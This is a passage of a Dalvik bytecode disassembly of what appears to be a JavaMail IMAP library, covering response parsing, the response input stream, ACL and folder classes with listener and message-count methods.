          .catch NumberFormatException {:38 .. :46} :58
.end method

.method public readString()String
          .registers 3
00000000  const/4                 v0, 0x0
00000002  const/4                 v1, 0x1
00000004  invoke-direct           Response->parseString(Z, Z)Object, p0, v0, v1
0000000A  move-result-object      v0
0000000C  check-cast              v0, String
00000010  return-object           v0
.end method

.method public readString(C)String
          .registers 5
00000000  invoke-virtual          Response->skipSpaces()V, p0
00000006  iget                    v0, p0, Response->index:I
0000000A  iget                    v1, p0, Response->size:I
0000000E  if-lt                   v0, v1, :16
:12
00000012  const/4                 v0, 0x0
:14
00000014  return-object           v0
:16
00000016  iget                    v0, p0, Response->index:I
:1A
0000001A  iget                    v1, p0, Response->index:I
0000001E  iget                    v2, p0, Response->size:I
00000022  if-ge                   v1, v2, :36
:26
00000026  iget-object             v1, p0, Response->buffer:[B
0000002A  iget                    v2, p0, Response->index:I
0000002E  aget-byte               v1, v1, v2
00000032  if-ne                   v1, p1, :48
:36
00000036  iget-object             v1, p0, Response->buffer:[B
0000003A  iget                    v2, p0, Response->index:I
0000003E  invoke-static           ASCIIUtility->toString([B, I, I)String, v1, v0, v2
00000044  move-result-object      v0
00000046  goto                    :14
:48
00000048  iget                    v1, p0, Response->index:I
0000004C  add-int/lit8            v1, v1, 0x1
00000050  iput                    v1, p0, Response->index:I
00000054  goto                    :1A
.end method

.method public readStringList()[String
          .registers 6
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          Response->skipSpaces()V, p0
00000008  iget-object             v1, p0, Response->buffer:[B
0000000C  iget                    v2, p0, Response->index:I
00000010  aget-byte               v1, v1, v2
00000014  const/16                v2, 0x28
00000018  if-eq                   v1, v2, :1E
:1C
0000001C  return-object           v0
:1E
0000001E  iget                    v1, p0, Response->index:I
00000022  add-int/lit8            v1, v1, 0x1
00000026  iput                    v1, p0, Response->index:I
0000002A  new-instance            v1, Vector
0000002E  invoke-direct           Vector-><init>()V, v1
:34
00000034  invoke-virtual          Response->readString()String, p0
0000003A  move-result-object      v2
0000003C  invoke-virtual          Vector->addElement(Object)V, v1, v2
00000042  iget-object             v2, p0, Response->buffer:[B
00000046  iget                    v3, p0, Response->index:I
0000004A  add-int/lit8            v4, v3, 0x1
0000004E  iput                    v4, p0, Response->index:I
00000052  aget-byte               v2, v2, v3
00000056  const/16                v3, 0x29
0000005A  if-ne                   v2, v3, :34
:5E
0000005E  invoke-virtual          Vector->size()I, v1
00000064  move-result             v2
00000066  if-lez                  v2, :1C
:6A
0000006A  new-array               v0, v2, [String
0000006E  invoke-virtual          Vector->copyInto([Object)V, v1, v0
00000074  goto                    :1C
.end method

.method public reset()V
          .registers 2
00000000  iget                    v0, p0, Response->pindex:I
00000004  iput                    v0, p0, Response->index:I
00000008  return-void
.end method

.method public skip(I)V
          .registers 3
00000000  iget                    v0, p0, Response->index:I
00000004  add-int/2addr           v0, p1
00000006  iput                    v0, p0, Response->index:I
0000000A  return-void
.end method

.method public skipSpaces()V
          .registers 3
00000000  iget                    v0, p0, Response->index:I
00000004  iget                    v1, p0, Response->size:I
00000008  if-ge                   v0, v1, :20
:C
0000000C  iget-object             v0, p0, Response->buffer:[B
00000010  iget                    v1, p0, Response->index:I
00000014  aget-byte               v0, v0, v1
00000018  const/16                v1, 0x20
0000001C  if-eq                   v0, v1, :22
:20
00000020  return-void
:22
00000022  iget                    v0, p0, Response->index:I
00000026  add-int/lit8            v0, v0, 0x1
0000002A  iput                    v0, p0, Response->index:I
0000002E  goto                    :0
.end method

.method public skipToken()V
          .registers 3
00000000  iget                    v0, p0, Response->index:I
00000004  iget                    v1, p0, Response->size:I
00000008  if-ge                   v0, v1, :20
:C
0000000C  iget-object             v0, p0, Response->buffer:[B
00000010  iget                    v1, p0, Response->index:I
00000014  aget-byte               v0, v0, v1
00000018  const/16                v1, 0x20
0000001C  if-ne                   v0, v1, :22
:20
00000020  return-void
:22
00000022  iget                    v0, p0, Response->index:I
00000026  add-int/lit8            v0, v0, 0x1
0000002A  iput                    v0, p0, Response->index:I
0000002E  goto                    :0
.end method

.method public toString()String
          .registers 4
00000000  iget-object             v0, p0, Response->buffer:[B
00000004  const/4                 v1, 0x0
00000006  iget                    v2, p0, Response->size:I
0000000A  invoke-static           ASCIIUtility->toString([B, I, I)String, v0, v1, v2
00000010  move-result-object      v0
00000012  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public abstract interface ResponseHandler
.super Object
.source ""

.method public abstract handleResponse(Response)V
.end method

#--------------------------------------------------------------------------------
.class public ResponseInputStream
.super Object
.source ""

.field private static final incrementSlop:I = 0x10
.field private static final maxIncrement:I = 0x40000
.field private static final minIncrement:I = 0x100
.field private bin:BufferedInputStream

.method public constructor <init>(InputStream)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, BufferedInputStream
0000000A  const/16                v1, 0x800
0000000E  invoke-direct           BufferedInputStream-><init>(InputStream, I)V, v0, p1, v1
00000014  iput-object             v0, p0, ResponseInputStream->bin:BufferedInputStream
00000018  return-void
.end method

.method public readResponse()ByteArray
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          ResponseInputStream->readResponse(ByteArray)ByteArray, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public readResponse(ByteArray)ByteArray
          .registers 12
00000000  const/high16            v4, 0x40000
00000004  const/16                v5, 0x100
00000008  const/16                v2, 0x80
0000000C  const/4                 v9, 0xFFFFFFFFFFFFFFFF
0000000E  const/4                 v1, 0x0
00000010  if-nez                  p1, :22
:14
00000014  new-instance            p1, ByteArray
00000018  new-array               v0, v2, [B
0000001C  invoke-direct           ByteArray-><init>([B, I, I)V, p1, v0, v1, v2
:22
00000022  invoke-virtual          ByteArray->getBytes()[B, p1
00000028  move-result-object      v0
0000002A  move-object             v2, v0
0000002C  move                    v0, v1
:2E
0000002E  move                    v3, v1
00000030  move                    v6, v1
:32
00000032  if-nez                  v3, :46
:36
00000036  iget-object             v6, p0, ResponseInputStream->bin:BufferedInputStream
0000003A  invoke-virtual          BufferedInputStream->read()I, v6
00000040  move-result             v6
00000042  if-ne                   v6, v9, :58
:46
00000046  move                    v3, v6
00000048  if-ne                   v3, v9, :A0
:4C
0000004C  new-instance            v0, IOException
00000050  invoke-direct           IOException-><init>()V, v0
00000056  throw                   v0
:58
00000058  packed-switch           v6, :138
:5E
0000005E  array-length            v7, v2
00000060  if-lt                   v0, v7, :7A
:64
00000064  array-length            v2, v2
00000066  if-le                   v2, v4, :6C
:6A
0000006A  move                    v2, v4
:6C
0000006C  invoke-virtual          ByteArray->grow(I)V, p1, v2
00000072  invoke-virtual          ByteArray->getBytes()[B, p1
00000078  move-result-object      v2
:7A
0000007A  add-int/lit8            v7, v0, 0x1
0000007E  int-to-byte             v8, v6
00000080  aput-byte               v8, v2, v0
00000084  move                    v0, v7
00000086  goto                    :32
:88
00000088  if-lez                  v0, :5E
:8C
0000008C  add-int/lit8            v7, v0, 0xFFFFFFFFFFFFFFFF
00000090  aget-byte               v7, v2, v7
00000094  const/16                v8, 0xD
00000098  if-ne                   v7, v8, :5E
:9C
0000009C  const/4                 v3, 0x1
0000009E  goto                    :5E
:A0
000000A0  const/4                 v3, 0x5
000000A2  if-lt                   v0, v3, :B6
:A6
000000A6  add-int/lit8            v3, v0, 0xFFFFFFFFFFFFFFFD
000000AA  aget-byte               v3, v2, v3
000000AE  const/16                v6, 0x7D
000000B2  if-eq                   v3, v6, :BE
:B6
000000B6  invoke-virtual          ByteArray->setCount(I)V, p1, v0
000000BC  return-object           p1
:BE
000000BE  add-int/lit8            v3, v0, 0xFFFFFFFFFFFFFFFC
:C2
000000C2  if-gez                  v3, :11A
:C6
000000C6  if-ltz                  v3, :B6
:CA
000000CA  add-int/lit8            v3, v3, 0x1
000000CE  add-int/lit8            v6, v0, 0xFFFFFFFFFFFFFFFD
:D2
000000D2  invoke-static           ASCIIUtility->parseInt([B, I, I)I, v2, v3, v6
:D8
000000D8  move-result             v3
000000DA  if-lez                  v3, :2E
:DE
000000DE  array-length            v6, v2
000000E0  sub-int/2addr           v6, v0
000000E2  add-int/lit8            v7, v3, 0x10
000000E6  if-le                   v7, v6, :104
:EA
000000EA  add-int/lit8            v2, v3, 0x10
000000EE  sub-int/2addr           v2, v6
000000F0  if-le                   v5, v2, :12C
:F4
000000F4  move                    v2, v5
:F6
000000F6  invoke-virtual          ByteArray->grow(I)V, p1, v2
000000FC  invoke-virtual          ByteArray->getBytes()[B, p1
00000102  move-result-object      v2
:104
00000104  if-lez                  v3, :2E
:108
00000108  iget-object             v6, p0, ResponseInputStream->bin:BufferedInputStream
0000010C  invoke-virtual          BufferedInputStream->read([B, I, I)I, v6, v2, v0, v3
00000112  move-result             v6
00000114  sub-int/2addr           v3, v6
00000116  add-int/2addr           v0, v6
00000118  goto                    :104
:11A
0000011A  aget-byte               v6, v2, v3
0000011E  const/16                v7, 0x7B
00000122  if-eq                   v6, v7, :C6
:126
00000126  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFFF
0000012A  goto                    :C2
:12C
0000012C  add-int/lit8            v2, v3, 0x10
00000130  sub-int/2addr           v2, v6
00000132  goto                    :F6
:134
00000134  move-exception          v1
00000136  goto                    :B6
          .catch NumberFormatException {:D2 .. :D8} :134
00000138  .packed-switch 0xA
              :88
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class public ACL
.super Object
.source ""

.implements Cloneable

.field private name:String
.field private rights:Rights

.method public constructor <init>(String)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, ACL->name:String
0000000A  new-instance            v0, Rights
0000000E  invoke-direct           Rights-><init>()V, v0
00000014  iput-object             v0, p0, ACL->rights:Rights
00000018  return-void
.end method

.method public constructor <init>(String, Rights)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, ACL->name:String
0000000A  iput-object             p2, p0, ACL->rights:Rights
0000000E  return-void
.end method

.method public clone()Object
          .registers 3
00000000  invoke-super            Object->clone()Object, p0
00000006  move-result-object      v0
00000008  check-cast              v0, ACL
0000000C  iget-object             v1, p0, ACL->rights:Rights
00000010  invoke-virtual          Rights->clone()Object, v1
00000016  move-result-object      v1
00000018  check-cast              v1, Rights
0000001C  iput-object             v1, v0, ACL->rights:Rights
00000020  return-object           v0
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, ACL->name:String
00000004  return-object           v0
.end method

.method public getRights()Rights
          .registers 2
00000000  iget-object             v0, p0, ACL->rights:Rights
00000004  return-object           v0
.end method

.method public setRights(Rights)V
          .registers 2
00000000  iput-object             p1, p0, ACL->rights:Rights
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public AppendUID
.super Object
.source ""

.field public uid:J
.field public uidvalidity:J

.method public constructor <init>(J, J)V
          .registers 7
00000000  const-wide/16           v0, 0xFFFFFFFFFFFFFFFF
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput-wide               v0, p0, AppendUID->uidvalidity:J
0000000E  iput-wide               v0, p0, AppendUID->uid:J
00000012  iput-wide               p1, p0, AppendUID->uidvalidity:J
00000016  iput-wide               p3, p0, AppendUID->uid:J
0000001A  return-void
.end method

#--------------------------------------------------------------------------------
.class public abstract interface IMAPFolder$ProtocolCommand
.super Object
.source ""

.method public abstract doCommand(IMAPProtocol)Object
.end method

#--------------------------------------------------------------------------------
.class DefaultFolder$1
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:DefaultFolder
.field private final synthetic val$pattern:String

.method constructor <init>(DefaultFolder, String)V
          .registers 3
00000000  iput-object             p1, p0, DefaultFolder$1->this$0:DefaultFolder
00000004  iput-object             p2, p0, DefaultFolder$1->val$pattern:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  const-string            v0, ""
00000004  iget-object             v1, p0, DefaultFolder$1->val$pattern:String
00000008  invoke-virtual          IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class DefaultFolder$2
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:DefaultFolder
.field private final synthetic val$pattern:String

.method constructor <init>(DefaultFolder, String)V
          .registers 3
00000000  iput-object             p1, p0, DefaultFolder$2->this$0:DefaultFolder
00000004  iput-object             p2, p0, DefaultFolder$2->val$pattern:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  const-string            v0, ""
00000004  iget-object             v1, p0, DefaultFolder$2->val$pattern:String
00000008  invoke-virtual          IMAPProtocol->lsub(String, String)[ListInfo, p1, v0, v1
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public abstract Folder
.super Object
.source ""

.field public static final HOLDS_FOLDERS:I = 0x2
.field public static final HOLDS_MESSAGES:I = 0x1
.field public static final READ_ONLY:I = 0x1
.field public static final READ_WRITE:I = 0x2
.field private volatile bridge connectionListeners:Vector
.field private volatile bridge folderListeners:Vector
.field private volatile bridge messageChangedListeners:Vector
.field private volatile bridge messageCountListeners:Vector
.field protected mode:I
.field private q:EventQueue
.field private qLock:Object
.field protected store:Store

.method protected constructor <init>(Store)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000A  iput                    v0, p0, Folder->mode:I
0000000E  iput-object             v1, p0, Folder->connectionListeners:Vector
00000012  iput-object             v1, p0, Folder->folderListeners:Vector
00000016  iput-object             v1, p0, Folder->messageCountListeners:Vector
0000001A  iput-object             v1, p0, Folder->messageChangedListeners:Vector
0000001E  new-instance            v0, Object
00000022  invoke-direct           Object-><init>()V, v0
00000028  iput-object             v0, p0, Folder->qLock:Object
0000002C  iput-object             p1, p0, Folder->store:Store
00000030  return-void
.end method

.method private queueEvent(MailEvent, Vector)V
          .registers 5
00000000  iget-object             v1, p0, Folder->qLock:Object
00000004  monitor-enter           v1
:6
00000006  iget-object             v0, p0, Folder->q:EventQueue
0000000A  if-nez                  v0, :1C
:E
0000000E  new-instance            v0, EventQueue
00000012  invoke-direct           EventQueue-><init>()V, v0
00000018  iput-object             v0, p0, Folder->q:EventQueue
:1C
0000001C  monitor-exit            v1
:1E
0000001E  invoke-virtual          Vector->clone()Object, p2
00000024  move-result-object      v0
00000026  check-cast              v0, Vector
0000002A  iget-object             v1, p0, Folder->q:EventQueue
0000002E  invoke-virtual          EventQueue->enqueue(MailEvent, Vector)V, v1, p1, v0
00000034  return-void
:36
00000036  move-exception          v0
:38
00000038  monitor-exit            v1
:3A
0000003A  throw                   v0
          .catchall {:6 .. :1E} :36
          .catchall {:38 .. :3A} :36
.end method

.method private terminateQueue()V
          .registers 5
00000000  iget-object             v1, p0, Folder->qLock:Object
00000004  monitor-enter           v1
:6
00000006  iget-object             v0, p0, Folder->q:EventQueue
0000000A  if-eqz                  v0, :3A
:E
0000000E  new-instance            v0, Vector
00000012  invoke-direct           Vector-><init>()V, v0
00000018  const/4                 v2, 0x1
0000001A  invoke-virtual          Vector->setSize(I)V, v0, v2
00000020  iget-object             v2, p0, Folder->q:EventQueue
00000024  new-instance            v3, Folder$TerminatorEvent
00000028  invoke-direct           Folder$TerminatorEvent-><init>()V, v3
0000002E  invoke-virtual          EventQueue->enqueue(MailEvent, Vector)V, v2, v3, v0
00000034  const/4                 v0, 0x0
00000036  iput-object             v0, p0, Folder->q:EventQueue
:3A
0000003A  monitor-exit            v1
0000003C  return-void
:3E
0000003E  move-exception          v0
00000040  monitor-exit            v1
:42
00000042  throw                   v0
          .catchall {:6 .. :42} :3E
.end method

.method public declared-synchronized addConnectionListener(ConnectionListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->connectionListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Folder->connectionListeners:Vector
:18
00000018  iget-object             v0, p0, Folder->connectionListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public declared-synchronized addFolderListener(FolderListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->folderListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Folder->folderListeners:Vector
:18
00000018  iget-object             v0, p0, Folder->folderListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public declared-synchronized addMessageChangedListener(MessageChangedListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->messageChangedListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Folder->messageChangedListeners:Vector
:18
00000018  iget-object             v0, p0, Folder->messageChangedListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public declared-synchronized addMessageCountListener(MessageCountListener)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Folder->messageCountListeners:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Folder->messageCountListeners:Vector
:18
00000018  iget-object             v0, p0, Folder->messageCountListeners:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public abstract appendMessages([Message)V
.end method

.method public abstract close(Z)V
.end method

.method public copyMessages([Message, Folder)V
          .registers 6
00000000  invoke-virtual          Folder->exists()Z, p2
00000006  move-result             v0
00000008  if-nez                  v0, :46
:C
0000000C  new-instance            v0, FolderNotFoundException
00000010  new-instance            v1, StringBuilder
00000014  invoke-virtual          Folder->getFullName()String, p2
0000001A  move-result-object      v2
0000001C  invoke-static           String->valueOf(Object)String, v2
00000022  move-result-object      v2
00000024  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000002A  const-string            v2, " does not exist"
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000034  move-result-object      v1
00000036  invoke-virtual          StringBuilder->toString()String, v1
0000003C  move-result-object      v1
0000003E  invoke-direct           FolderNotFoundException-><init>(String, Folder)V, v0, v1, p2
00000044  throw                   v0
:46
00000046  invoke-virtual          Folder->appendMessages([Message)V, p2, p1
0000004C  return-void
.end method

.method public abstract create(I)Z
.end method

.method public abstract delete(Z)Z
.end method

.method public abstract exists()Z
.end method

.method public abstract expunge()[Message
.end method

.method public fetch([Message, FetchProfile)V
          .registers 3
00000000  return-void
.end method

.method protected finalize()V
          .registers 1
00000000  invoke-super            Object->finalize()V, p0
00000006  invoke-direct           Folder->terminateQueue()V, p0
0000000C  return-void
.end method

.method public declared-synchronized getDeletedMessageCount()I
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          Folder->isOpen()Z, p0
:8
00000008  move-result             v0
0000000A  if-nez                  v0, :14
:E
0000000E  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:10
00000010  monitor-exit            p0
00000012  return                  v0
:14
00000014  const/4                 v1, 0x0
:16
00000016  invoke-virtual          Folder->getMessageCount()I, p0
:1C
0000001C  move-result             v2
0000001E  const/4                 v0, 0x1
00000020  move                    v5, v0
00000022  move                    v0, v1
00000024  move                    v1, v5
:26
00000026  if-gt                   v1, v2, :10
:2A
0000002A  invoke-virtual          Folder->getMessage(I)Message, p0, v1
00000030  move-result-object      v3
00000032  sget-object             v4, Flags$Flag->DELETED:Flags$Flag
00000036  invoke-virtual          Message->isSet(Flags$Flag)Z, v3, v4
:3C
0000003C  move-result             v3
0000003E  if-eqz                  v3, :46
:42
00000042  add-int/lit8            v0, v0, 0x1
:46
00000046  add-int/lit8            v1, v1, 0x1
0000004A  goto                    :26
:4C
0000004C  move-exception          v0
0000004E  monitor-exit            p0
00000050  throw                   v0
:52
00000052  move-exception          v3
00000054  goto                    :46
          .catchall {:2 .. :8} :4C
          .catchall {:16 .. :1C} :4C
          .catch MessageRemovedException {:2A .. :3C} :52
          .catchall {:2A .. :3C} :4C
.end method

.method public abstract getFolder(String)Folder
.end method

.method public abstract getFullName()String
.end method

.method public abstract getMessage(I)Message
.end method

.method public abstract getMessageCount()I
.end method

.method public declared-synchronized getMessages()[Message
          .registers 6
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          Folder->isOpen()Z, p0
00000008  move-result             v0
0000000A  if-nez                  v0, :24
:E
0000000E  new-instance            v0, IllegalStateException
00000012  const-string            v1, "Folder not open"
00000016  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
0000001C  throw                   v0
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
00000022  throw                   v0
:24
00000024  invoke-virtual          Folder->getMessageCount()I, p0
0000002A  move-result             v1
0000002C  new-array               v2, v1, [Message
:30
00000030  const/4                 v0, 0x1
:32
00000032  if-le                   v0, v1, :3A
:36
00000036  monitor-exit            p0
00000038  return-object           v2
:3A
0000003A  add-int/lit8            v3, v0, 0xFFFFFFFFFFFFFFFF
:3E
0000003E  invoke-virtual          Folder->getMessage(I)Message, p0, v0
00000044  move-result-object      v4
00000046  aput-object             v4, v2, v3
:4A
0000004A  add-int/lit8            v0, v0, 0x1
0000004E  goto                    :32
          .catchall {:2 .. :1E} :1E
          .catchall {:24 .. :30} :1E
          .catchall {:3E .. :4A} :1E
.end method

.method public declared-synchronized getMessages(I, I)[Message
          .registers 7
00000000  monitor-enter           p0
00000002  sub-int                 v0, p2, p1
00000006  add-int/lit8            v0, v0, 0x1
:A
0000000A  new-array               v1, v0, [Message
:E
0000000E  move                    v0, p1
:10
00000010  if-le                   v0, p2, :18
:14
00000014  monitor-exit            p0
00000016  return-object           v1
:18
00000018  sub-int                 v2, v0, p1
:1C
0000001C  invoke-virtual          Folder->getMessage(I)Message, p0, v0
00000022  move-result-object      v3
00000024  aput-object             v3, v1, v2
:28
00000028  add-int/lit8            v0, v0, 0x1
0000002C  goto                    :10
:2E
0000002E  move-exception          v0
00000030  monitor-exit            p0
00000032  throw                   v0
          .catchall {:A .. :E} :2E
          .catchall {:1C .. :28} :2E
.end method

.method public declared-synchronized getMessages([I)[Message
          .registers 6
00000000  monitor-enter           p0
:2
00000002  array-length            v1, p1
00000004  new-array               v2, v1, [Message
:8
00000008  const/4                 v0, 0x0
:A
0000000A  if-lt                   v0, v1, :12
:E
0000000E  monitor-exit            p0
00000010  return-object           v2
:12
00000012  aget                    v3, p1, v0
00000016  invoke-virtual          Folder->getMessage(I)Message, p0, v3
0000001C  move-result-object      v3
0000001E  aput-object             v3, v2, v0
:22
00000022  add-int/lit8            v0, v0, 0x1
00000026  goto                    :A
:28
00000028  move-exception          v0
0000002A  monitor-exit            p0
0000002C  throw                   v0
          .catchall {:2 .. :8} :28
          .catchall {:12 .. :22} :28
.end method

.method public getMode()I
          .registers 3
00000000  invoke-virtual          Folder->isOpen()Z, p0
00000006  move-result             v0
00000008  if-nez                  v0, :1C
:C
0000000C  new-instance            v0, IllegalStateException
00000010  const-string            v1, "Folder not open"
00000014  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
0000001A  throw                   v0
:1C
0000001C  iget                    v0, p0, Folder->mode:I
00000020  return                  v0
.end method

.method public abstract getName()String
.end method

.method public declared-synchronized getNewMessageCount()I
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          Folder->isOpen()Z, p0
:8
00000008  move-result             v0
0000000A  if-nez                  v0, :14
:E
0000000E  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:10
00000010  monitor-exit            p0
00000012  return                  v0
:14
00000014  const/4                 v1, 0x0
:16
00000016  invoke-virtual          Folder->getMessageCount()I, p0
:1C
0000001C  move-result             v2
0000001E  const/4                 v0, 0x1
00000020  move                    v5, v0
00000022  move                    v0, v1
00000024  move                    v1, v5
:26
00000026  if-gt                   v1, v2, :10
:2A
0000002A  invoke-virtual          Folder->getMessage(I)Message, p0, v1
00000030  move-result-object      v3
00000032  sget-object             v4, Flags$Flag->RECENT:Flags$Flag
00000036  invoke-virtual          Message->isSet(Flags$Flag)Z, v3, v4
:3C
0000003C  move-result             v3
0000003E  if-eqz                  v3, :46
:42
00000042  add-int/lit8            v0, v0, 0x1
:46
00000046  add-int/lit8            v1, v1, 0x1
0000004A  goto                    :26
:4C
0000004C  move-exception          v0
0000004E  monitor-exit            p0
00000050  throw                   v0
:52
00000052  move-exception          v3
00000054  goto                    :46
          .catchall {:2 .. :8} :4C
          .catchall {:16 .. :1C} :4C
          .catch MessageRemovedException {:2A .. :3C} :52
          .catchall {:2A .. :3C} :4C
.end method

.method public abstract getParent()Folder
.end method

.method public abstract getPermanentFlags()Flags
.end method

.method public abstract getSeparator()C
.end method

.method public getStore()Store
          .registers 2
00000000  iget-object             v0, p0, Folder->store:Store
00000004  return-object           v0
.end method

.method public abstract getType()I
.end method

.method public getURLName()URLName
          .registers 8
00000000  invoke-virtual          Folder->getStore()Store, p0
00000006  move-result-object      v0
00000008  invoke-virtual          Store->getURLName()URLName, v0
0000000E  move-result-object      v5
00000010  invoke-virtual          Folder->getFullName()String, p0
00000016  move-result-object      v0
00000018  new-instance            v4, StringBuffer
0000001C  invoke-direct           StringBuffer-><init>()V, v4
00000022  invoke-virtual          Folder->getSeparator()C, p0
00000028  if-eqz                  v0, :32
:2C
0000002C  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v0
:32
00000032  new-instance            v0, URLName
00000036  invoke-virtual          URLName->getProtocol()String, v5
0000003C  move-result-object      v1
0000003E  invoke-virtual          URLName->getHost()String, v5
00000044  move-result-object      v2
00000046  invoke-virtual          URLName->getPort()I, v5
0000004C  move-result             v3
0000004E  invoke-virtual          StringBuffer->toString()String, v4
00000054  move-result-object      v4
00000056  invoke-virtual          URLName->getUsername()String, v5
0000005C  move-result-object      v5
0000005E  const/4                 v6, 0x0
00000060  invoke-direct/range     URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
00000066  return-object           v0
.end method

.method public declared-synchronized getUnreadMessageCount()I
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          Folder->isOpen()Z, p0
:8
00000008  move-result             v0
0000000A  if-nez                  v0, :14
:E
0000000E  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:10
00000010  monitor-exit            p0
00000012  return                  v0
:14
00000014  const/4                 v1, 0x0
:16
00000016  invoke-virtual          Folder->getMessageCount()I, p0
:1C
0000001C  move-result             v2
0000001E  const/4                 v0, 0x1
00000020  move                    v5, v0
00000022  move                    v0, v1
00000024  move                    v1, v5
:26
00000026  if-gt                   v1, v2, :10
:2A
0000002A  invoke-virtual          Folder->getMessage(I)Message, p0, v1
00000030  move-result-object      v3
00000032  sget-object             v4, Flags$Flag->SEEN:Flags$Flag
00000036  invoke-virtual          Message->isSet(Flags$Flag)Z, v3, v4
:3C
0000003C  move-result             v3
0000003E  if-nez                  v3, :46
:42
00000042  add-int/lit8            v0, v0, 0x1
:46
00000046  add-int/lit8            v1, v1, 0x1
0000004A  goto                    :26
:4C
0000004C  move-exception          v0
0000004E  monitor-exit            p0
00000050  throw                   v0
:52
00000052  move-exception          v3
00000054  goto                    :46
          .catchall {:2 .. :8} :4C
          .catchall {:16 .. :1C} :4C
          .catch MessageRemovedException {:2A .. :3C} :52
          .catchall {:2A .. :3C} :4C
.end method

.method public abstract hasNewMessages()Z
.end method

.method public abstract isOpen()Z
.end method

.method public isSubscribed()Z
          .registers 2
00000000  const/4                 v0, 0x1
00000002  return                  v0
.end method

.method public list()[Folder
          .registers 2
00000000  const-string            v0, "%"
00000004  invoke-virtual          Folder->list(String)[Folder, p0, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public abstract list(String)[Folder
.end method

.method public listSubscribed()[Folder
          .registers 2
00000000  const-string            v0, "%"
00000004  invoke-virtual          Folder->listSubscribed(String)[Folder, p0, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public listSubscribed(String)[Folder
          .registers 3
00000000  invoke-virtual          Folder->list(String)[Folder, p0, p1
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method protected notifyConnectionListeners(I)V
          .registers 4
00000000  iget-object             v0, p0, Folder->connectionListeners:Vector
00000004  if-eqz                  v0, :1C
:8
00000008  new-instance            v0, ConnectionEvent
0000000C  invoke-direct           ConnectionEvent-><init>(Object, I)V, v0, p0, p1
00000012  iget-object             v1, p0, Folder->connectionListeners:Vector
00000016  invoke-direct           Folder->queueEvent(MailEvent, Vector)V, p0, v0, v1
:1C
0000001C  const/4                 v0, 0x3
0000001E  if-ne                   p1, v0, :28
:22
00000022  invoke-direct           Folder->terminateQueue()V, p0
:28
00000028  return-void
.end method

